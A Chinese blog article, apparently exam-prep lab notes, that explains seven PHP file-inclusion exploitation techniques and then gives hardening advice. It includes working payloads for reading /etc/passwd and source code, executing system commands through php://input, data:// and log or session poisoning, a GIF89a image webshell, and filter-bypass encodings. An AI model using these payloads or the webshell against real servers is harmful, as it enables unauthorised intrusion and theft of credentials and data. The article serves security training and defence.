资讯详情

文件包含漏洞七种利用手法详解:从LFI到远程代码执行

📅 2026/10/20 16:13:00 | 华诺云谱 👁 阅读
文件包含漏洞七种利用手法详解:从LFI到远程代码执行
备考CISP-PTE那段时间我在本地靶场刷到一道文件包含的综合题题目标号正好是第9关。本以为这就是个简单的读文件漏洞翻翻 /etc/passwd 就能过关结果越做越发现里面水很深同一个include参数换上不同的协议、配合不同的数据源能读出源码、写入webshell、执行系统命令甚至绕开过滤直接拿权限。我把这道题从头到尾试了七种思路整理成一份可复现的实验笔记。如果你也在准备CISP-PTE或者刚开始接触Web安全这份笔记应该能帮你把“文件包含”这个考点彻底吃透。1. 文件包含漏洞的核心思路为什么一个include会被玩出花1.1 漏洞的根源在于信任用户输入文件包含漏洞的根源并不复杂。PHP里 include、require、include_once、require_once 这四个函数本意是方便开发者做代码复用和模板加载。问题在于很多老代码、或者赶工期的业务代码会直接把用户传进来的参数拼进去?php $page $_GET[page]; include($page); ?正常访问是index.php?pagehome.php返回首页内容但如果攻击者把page换成/etc/passwdPHP 会老老实实把系统密码文件读出来展示在页面上。这就是“文件包含”的原始形态用户输入了文件路径程序没有做任何校验直接信任了它。我在实际练习中体会到理解这个漏洞的关键不是记住 payload而是意识到一个核心矛盾include 的本质是“把外部内容当成程序的一部分执行”而攻击者想要的恰恰是“让程序执行我指定的内容”。这个矛盾不解决漏洞就永远存在。凡是包含函数接收了用户可控参数、又没经过严格白名单校验的代码都属于高危风险点。1.2 本地包含与远程包含的本质区别文件包含可以粗略分成两类本地文件包含LFI和远程文件包含RFI。两者的判定点在 PHP 配置项allow_url_include。类型核心能力前提条件典型后果本地文件包含 LFI读取服务器本地任意文件通常无特殊要求源码泄露、配置泄露、配合其他手法升级为代码执行远程文件包含 RFI从远程服务器加载文件allow_url_includeOn直接加载恶意脚本获取 webshell很多新手搞不清两者的关系我打个比方。本地包含相当于你的钥匙只能打开自己家的门远程包含相当于钥匙能打开世界上任何一扇门——前提是这门没上锁。PHP里那把锁就是allow_url_include默认关闭不少云环境和安全加固方案都会主动关掉它。所以实际渗透测试中RFI的出现概率远低于LFI考试和CTF里经常用data://或php://input这类PHP伪协议来模拟RFI效果这就引入了后面要讲的七种方法。2. 七种利用方式的逐个拆解2.1 方法一路径穿越直达敏感文件这是最基础、最直接的本地文件包含利用方式。当代码没有对路径做任何过滤时直接使用绝对路径或者相对路径穿越来读取敏感文件。靶场里的典型请求长这样GET /index.php?page/etc/passwd GET /index.php?page../../../../etc/passwd../../的作用是跳出当前的 Web 目录层级。如果 Web 应用被限制在/var/www/html/那么需要根据目录深度计算穿越层数。实际操作中我会先尝试绝对路径如果绝对路径被拦再用../逐层往外跳。常见的敏感文件清单我一般会准备一份/etc/passwd、/proc/self/environ、/proc/version、.htaccess、config.php等等。这里有一个经常让新手卡住的细节很多代码在 include 时会给参数拼上一个后缀比如include($page . .php);。这时候直接用/etc/passwd就失效了因为实际读取的是/etc/passwd.php。老版本PHP可以用%00空字节截断但在 PHP 5.3.4 之后这个技巧已经失效。新版环境下要么放弃后缀约束借助伪协议绕过要么就把目标改成“原本就带 .php 后缀的文件”——这两种思路正好衔接下一种方法。2.2 方法二php://filter 读取源码纯路径穿越能读到/etc/passwd这类明文文件但如果你想知道 Web 应用的业务逻辑、数据库账号密码必须读取 PHP 源码。问题来了PHP 文件会先被解释执行直接包含只能看到执行结果看不到源码。php://filter就是为了解决这个问题而存在的。GET /index.php?pagephp://filter/readconvert.base64-encode/resourceconfig.php这个 payload 的意思是用 php://filter 协议读取config.php的原始内容并用 base64 编码后返回。页面里出现一串 base64 字符串解码后就是 config.php 的源码。为什么非要 base64 编码因为 PHP 源码本身就是纯文本直接拼接在 HTML 里会被浏览器当作正常文本展示而且遇到?php标签依然可能被解释导致源码被打乱甚至泄露失败。编码之后能保证原样输出解码是可控的。这个方法妙在可以对抗后缀拼接。假设代码强制加.php你可以构造GET /index.php?pagephp://filter/readconvert.base64-encode/resourceconfig实际读取路径变成config.php正好凑成完整文件名。当然如果目标文件后缀不是 .php比如.conf、.txt那就需要用空字节或者其他方式处理或者选择包含时不受后缀影响的协议。2.3 方法三php://input 写入并执行php://filter 只能读文件如果想让目标服务器执行我们的代码可以用php://input。这个协议会把 HTTP 请求体POST body的内容作为数据流交给 include 函数处理。前提条件同样是allow_url_includeOn不过它毕竟走的是 PHP 内置数据流在不少环境中比 RFI 更容易被放行。第一步发送一个包含 PHP 代码的 POST 请求体POST /index.php?pagephp://input HTTP/1.1 Host: target Content-Type: text/plain ?php system(id); ?如果代码里的 include 直接把请求体内容当作 PHP 执行system(id)就会被执行页面返回当前运行 Web 服务的系统用户和用户组信息。把id换成whoami、ls、cat /etc/passwd就相当于拿了一个临时命令执行窗口。我在靶场里测试这个方法时踩过一个坑有些环境虽然开了allow_url_include但请求体内容会被实体编码或加引号处理导致 payload 变形。这时候我会抓包看原始响应确认代码是否真的被执行而不是只看页面有没有报错。另一个坑是如果目标是 Windows 服务器命令要跟着调整cat要换成type路径分隔符也完全不同。2.4 方法四data:// 直接执行命令data://协议是另一个能把“数据”变成“文件内容”的入口。它的优势是可以把 PHP 代码直接写进 URL不用单独构造 POST 请求体测试起来更快。前提条件同样是allow_url_includeOn。实际利用时为了防止 URL 里的特殊字符导致解析异常会把 PHP 代码先做 base64 编码GET /index.php?pagedata://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8这段 base64 解码后是?php system(id); ?。服务器收到后include 把它当作数据流展开PHP 解析器识别出?php标签执行system(id)效果和 php://input 完全一样。和 php://input 相比data:// 的优点是单次 GET 请求就能完成利用工具和脚本实现起来更简洁缺点是 URL 里的 payload 更容易被 WAF 拦截。实际使用中我会根据目标环境的报错特征选择用哪个。如果 POST 请求被限制data:// 往往是最快的替补方案。2.5 方法五日志注入再包含本地文件包含最常见的局限是“只能读文件不能写文件”。但我们完全可以换个思路找到服务器上会“自动写入”我们可控内容的文件比如访问日志。Web 服务器默认会把每个 HTTP 请求的 User-Agent、路径、状态码写入日志文件。如果我发一个请求把 User-Agent 设置成 PHP 代码GET /index.php?pageanything HTTP/1.1 Host: target User-Agent: ?php system(id); ?服务器虽然不执行这个 User-Agent但它会把整行内容原样写进访问日志。随后再用文件包含去包含日志文件GET /index.php?page/var/log/nginx/access.logPHP 解析器读到日志中的?php system(id); ?时会把它当成合法 PHP 代码执行。这就是“日志注入 文件包含”的组合链。这个方法有几个关键点。第一日志路径必须探测准确常见路径包括/var/log/nginx/access.log、/var/log/apache2/access.log、C:\xampp\apache\logs\access.log等Linux 和 Windows 差异很大。第二日志文件通常很大包含后页面可能返回大量内容需要在响应里精确匹配命令输出位置。第三某些日志记录组件会转义特殊字符导致?php变成lt;?php之类那种情况下这个方法就会失效。2.6 方法六会话文件与临时文件包含除了日志文件PHP 的 session 文件也是天然的“污染点”。PHP 会把会话数据默认存储在/tmp/sess_session_id这样的文件里。如果应用把用户可控的内容比如用户名、昵称存进 session再通过文件包含去加载这个 session 文件就能执行其中的 PHP 代码。典型场景是登录功能里用户名直接拼接进 session$_SESSION[username] $_POST[username];我提交一个特殊用户名POST /login.php HTTP/1.1 username?php system(id); ?PHP 会把这段内容写进/tmp/sess_xxx。然后得到自己的 session ID再访问GET /index.php?page/tmp/sess_abc123def456session 文件里的 PHP 标签被解析代码执行。这个方法相比日志注入的优势是不依赖日志目录权限PHP session 目录在默认配置下通常可读劣势是必须先找到可控的 session 写入点对应用业务逻辑有要求。同理还有一种组合是包含临时上传文件。假如应用允许上传文件但上传目录禁止执行 PHP我们上传一个内容为 PHP 代码的文件扩展名改成 .jpg 或 .txt再用文件包含去 include 这个文件就能绕过“禁止执行”的限制。这本质上和第二种方法里的“上传包含”是一回事所以我把它们归到第七种方法里单独展开。2.7 方法七上传图片马组合利用文件包含最经典的组合攻击就是“上传 包含”。思路很清晰先把恶意代码藏进一个看似无害的文件再通过文件包含把它“激活”。假设目标环境有一个图片上传功能允许上传 jpg 文件但上传目录禁了 PHP 执行。我上传一个内容长这样的图片GIF89a ?php system($_GET[cmd]); ?GIF89a是图片文件的 magic header用来骗过简单的文件头校验。这个文件上传后后缀是.jpg存储路径是/var/www/html/uploads/backdoor.jpg。正常情况下访问它服务器只会把它当作图片返回或者直接返回空白——因为 php 代码没有被执行。但如果我们找到了文件包含点GET /index.php?pageuploads/backdoor.jpgcmdidinclude 会把这个 .jpg 文件的内容当作 PHP 代码来解析。GIF89a会被当作文本直接跳过?php system($_GET[cmd]); ?则会被执行。图片马上变成了一个“隐藏”的命令执行入口。这个思路的关键在于“包含点”和“上传点”必须同时存在而且上传目录路径要可探测。实战中上传后的文件名经常会被系统随机重命名此时需要通过返回包、目录遍历漏洞或信息收集来确认实际路径。图片马本身不设防很多 WAF 会扫描文件内容中的?php标签这时候可以把代码拆成script languagephp或者用短标签?...?变体但前提是目标 PHP 配置支持短标签。3. 实操过程与判定顺序3.1 拿到题目后的信息收集文件包含的利用路径不是一个 payload 通吃必须先做信息收集。我在靶场中会按以下顺序快速判断环境第一步确认参数名。页面上通常能看到?page、?file、?path之类的参数先测试一个合法路径和一个非法路径观察报错差异。第二步确认是否拼接后缀。把参数值随便设成abc看页面报错是“文件不存在abc”还是“文件不存在abc.php”。如果是后者基本可以确定存在后缀拼接。第三步确认过滤规则。测试../是否被剥除、绝对路径是否被拦截、伪协议关键字是否被替换。用最简单的page/etc/passwd试一次如果返回空白或报错立刻换编码绕过的思路。第四步探测PHP配置。如果页面能显示phpinfo()或能从报错中读出配置项优先确认allow_url_include是否为 On。这个值直接决定后面的方法三、四是否可用。3.2 七种方法的选择优先级我个人在练习中建立了一个选择顺序核心逻辑是“从依赖最少的方法试起”。优先级方法核心依赖条件触发成本1路径穿越读取文件无过滤或可绕过最低2php://filter 读源码能拼后缀或可截断低3data:// / php://inputallow_url_includeOn中等4日志注入包含日志路径可访问且未转义中高5会话文件包含存在可控 session 存储点中高6上传包含存在可上传点且路径已知中高7远程文件包含 RFIallow_url_includeOn 且外网可达高为什么把路径穿越放第一位因为它最稳定几乎不对环境提要求。php://filter 放第二因为在利用过程中它可以把“读文件”升级成“读源码”信息价值极高。data:// 和 php://input 虽然能直接执行代码但对配置有要求所以放在第三梯队。日志和上传这类组合手法虽然效果最接近“完整拿权限”但链路长、变量多一般放在前面方法失效后再尝试。3.3 参数构造与绕过技巧练习过程中最容易卡住的就是各种过滤规则。这里整理我实测过的一些有效绕过姿势但需要强调这些手法全部用于实验环境请勿用于未授权系统。第一路径穿越被过滤。如果../被直接删除可以试试....//这种双写形式因为过滤第一次后会剩下../也可以尝试 URL 编码%2e%2e%2f或二次编码%252e%252e%252f某些中间件会先解码一次再传给PHP编码次数和中间件配置有关。第二伪协议关键字被过滤。php://中的php有时会被替换为空大小写混写PHP://有时能绕过因为 PHP 协议名不区分大小写。filter 内的convert.base64-encode也可以替换成convert.iconv.utf-8.utf-16等变体。第三参数值里的、?、被过滤。这些字符在 URL 中经常参与解析可以考虑把整条 payload 放进 POST body或者改用data://配合 base64让支付串中不出现特殊符号。第四路径深度不确定。靶场环境目录层级比较浅真实环境可能是三层、五层甚至更深。我会先尝试绝对路径/etc/passwd因为绝对路径不依赖深度计算只有绝对路径被拦时才用../../../../逐级探测碰到敏感目录就靠报错信息推断层级。4. 常见问题与防御加固4.1 实验中的典型失败点我把自己和身边朋友练习时踩过的坑整理成了一张问题排查表照着查能省很多时间。现象可能原因排查方向包含 /etc/passwd 返回空白代码拼接了 .php 后缀用 filter 或空字节截断绕过php://input 不执行代码allow_url_include 未开启查看 phpinfo 确认配置data:// 返回 base64 原文payload 编码错误检查 base64 字符串是否把 PHP 代码编码完整日志包含后页面报错日志路径不对或被转义尝试多个日志路径确认 User-Agent 是否原样记录上传图片马不执行包含时带上了图片头导致语法问题用GIF89a头时保持其位于 PHP 标签之前参数一改就报 500过滤规则把 payload 拦截查看 php_error_log 或开启返错观察被替换内容特别要提一个比较隐蔽的坑include 和 require 在包含文件不存在时行为不一样。include 会发警告但脚本继续跑require 会直接 fatal error 中断。利用时如果发现页面只有 PHP 警告而没有目标内容不一定是你 payload 写错也可能是函数写成了 require导致它在路径错误时直接终止根本没走到输出那一步。4.2 从攻击反推的加固方案文件包含漏洞的修复并不难核心是“不要信任用户输入”。我在做安全整改时通常会给出这四条硬性要求第一使用白名单机制。不要维护黑名单黑名单永远有绕过空间。明确声明哪些文件允许被包含例如?php $allowed [home, about, contact]; $page $_GET[page]; if (!in_array($page, $allowed)) { exit(非法请求); } include($page . .php); ?第二禁用远程文件包含。生产环境强烈建议在php.ini中设置allow_url_includeOff同时确认allow_url_fopen按业务需要单独配置避免这两者同时开启。第三严格限制文件访问范围。用open_basedir把 PHP 可访问目录限制在项目根目录内这样即使包含点被利用攻击者也很难读取系统敏感文件。第四过滤和编码双保险。对参数做../过滤、路径归一化处理、符号过滤等多层校验防止路径穿越绕过。同时上传目录与执行目录分离上传的文件存储目录关闭PHP解析权限相当于直接斩断“上传包含”链路。4.3 如何验证修复效果修复完成后不能只从代码层面“感觉没问题”要回归测试。我用过一套简单的验证流程先用原始漏洞的典型 payload 重放确认返回已被拦截然后用常见的绕过变体重放——大小写协议名、双重编码、空字节、绝对路径、伪协议——确认全部失效。如果这些测试都被拦截再考虑用更贴近业务的恶意样本测试比如构造一个包含上传和日志注入的组合链路验证是否存在被二次利用的可能。更稳妥的方式是把安全测试纳入开发流程。每次代码上线前至少在测试环境中跑一遍常见的文件包含 payload 集包括/etc/passwd、php://filter、data://、php://input、日志路径、会话路径这六个维度。研发环境及时修复上线后才不会带着洞出门。我在实际项目里见过不少这种情况开发者认为只需要过滤../就安全了结果被 php://filter 读取了源码顺着源码里的数据库密码直接拿到了后台权限。所以文件包含的加固一定要从根上治理而不是头痛医头。写在最后把玩这个靶场第9关的过程重新捋一遍我最大的体会是文件包含的七种方法并不是七句孤立的 payload而是一套完整的“数据流利用”思路。无论路径穿越、伪协议、日志注入还是上传组合本质都在回答一个问题——如何把攻击者可控的数据变成服务端信任并执行的内容。理解了这条主线之后以后再遇到 include、require 这类函数你自然就会去追问这里的参数是谁传的有没有校验我能不能把数据流引到我想让它去的地方这种思维方式的转变比记住七个 payload 值钱得多。备考CISP-PTE也好日常做安全测试也罢建议你亲手在靶场里把这条链路从头到尾跑一遍踩过坑之后才算真正吃透了文件包含。
📝

华诺云谱内容团队

资深建站顾问 · 行业研究员

10年+企业数字化服务经验,专注智能建站、SEO优化与品牌营销,持续输出建站技巧、行业洞察与营销干货,已帮助5000+企业实现数字化增长。

你可能需要的服务

订阅华诺云谱资讯周报

每周一封,精选建站技巧、SEO与营销干货,直达邮箱。已有 8,000+ 企业主订阅,助你少走弯路。

↑